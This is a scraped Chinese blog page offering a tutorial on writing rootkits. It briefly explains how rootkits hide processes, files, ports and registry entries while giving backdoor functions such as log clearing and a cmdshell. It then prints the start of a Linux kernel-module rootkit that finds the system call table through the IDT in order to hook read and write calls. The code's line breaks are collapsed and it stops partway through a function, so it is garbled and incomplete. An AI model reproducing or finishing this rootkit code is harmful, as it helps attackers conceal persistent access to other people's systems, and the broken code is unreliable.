当前位置: 首页 > article >正文

rootkit原理与编写教程

rootkit原理与编写教程

  • rootkit原理
      • rootkit介绍
  • windows下rootkit编写
      • windows编程技术
  • Linux下rootkit编写

rootkit原理

rootkit介绍

Rootkit的历史已经很悠久了。存在于windows,unix,linux等操作系统中。Root在英语中是根,扎根的意思,kit是包的意思。
rootkit我们可以把它理解成一个利用很多技术来潜伏在你系统中的一个后门,并且包含了一个功能比较多的程序包,例如有清除日志,添加用户,cmdshell,添加删除启动服务等功能。
当然它的设计者也要用一些技术来隐藏自己,确保不被发现。隐藏包括隐藏进程,隐藏文件,端口,或句柄,注册表的项,键值等等。
总之,写rootkit的人是利用很多办法不被发现。

windows下rootkit编写

windows编程技术

想要在windows下写rootkit,不免要调用许多windwos的API函数,为此需要对windows编程技术有一定的了解。
看了下有这本电子书,《WINDOWS黑客编程技术详解》。可以了解一下

Linux下rootkit编写

以一个文件过滤驱动为例
filter.c:


#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>unsigned long *sys_call_table = NULL;								 //系统调用表
asmlinkage ssize_t (*sys_read)(int, void *, size_t); //asmlinkage定义函数表示不从寄存器传递参数
asmlinkage ssize_t (*sys_write)(int, void *, size_t);
static char *filename = "test.c";
//S_IRUGO 内核文件权限值 charp指字符指针
module_param(filename, charp, S_IRUGO); //module_param定义模块参数用法:name,type,perm
static char *keyword = "key";
module_param(keyword, charp, S_IRUGO);
int orig_cr0;
#define STRLEN 1024
char tran_buf[STRLEN];
int len = 0;struct _idt //中断描述表
{unsigned short offset_low, segment_sel;unsigned char reserved, flags;unsigned short offset_high;
};unsigned long *getscTable()
{unsigned char idtr[6], *shell, *sort;struct _idt *idt;unsigned long system_call, sct;unsigned short offset_low, offset_high;char *p;int i;/* get the interrupt descriptor table *///__asm__调用内联汇编程序,意为GCC支持的在C/C++代码中嵌入汇编的方式__asm__("sidt %0"
http://www.lryc.cn/news/2420585.html

相关文章:

  • 中兴手机android版本升级包下载,刷机
  • 打造全新的Windows Live™ Spaces
  • AutoJs学习-天天爱消除脚本
  • 属兔的人今日运势-360星座网_【12月10日】 十二生肖明日运势
  • 属兔的人今日运势-360星座网_第一运程 2021年1月4日十二生肖运势解析
  • 如何制作优质的YouTube视频
  • Stream常用方法
  • 英语论文关于计算机网络,COMPUTER NETWORK 计算机网络(英语论文).doc
  • 联邦学习介绍
  • ospf动态路由协议——(最详解)
  • jQuery绑定事件的四种方式:bind、live、delegate、on
  • 三款企业必备企业上网监控软件盘点|上网行为监控软件有哪些
  • 用c语言实现二分法
  • pubg测试服服务器维护上不去,绝地求生测试服进不去怎么办 测试服上不去黑屏解决方法...
  • BUG集锦
  • 乌云漏洞平台官网/技术分享:手把手教你“复活”乌云网_0基础渗透笔记
  • OSChina 周日乱弹 ——病毒,你对程序员的原力一无所知!
  • java属性不被json化_fastJson 格式化继承自ArrayList 的类时属性是不会json化的
  • Android 14.0 进入recovery模式(等待用户选择recovery模式界面)进入自动恢复出厂设置模式
  • Autodesk MAYA 2013 SP1 for Win/Mac OSX 【简体中文版】
  • Ubuntu 安装实录
  • SQL语法大全[转]
  • 经典秒杀问题
  • AT89S51/52单片机详细英文缩写解释汇总
  • 几个非常简单漂亮的手机版网页_有了这几个网站,我的工作效率提高了不止3倍!...
  • macOS 内核之 OS X 系统的起源
  • Firefox 9发布 可提升JavaScript性能锋利了html5
  • 10个jQuery技术博客[XiaoFeng收藏]
  • 僵尸国度.Z.Nation
  • 外贸干货|最完整的外贸出口流程,收藏起来耐心看完!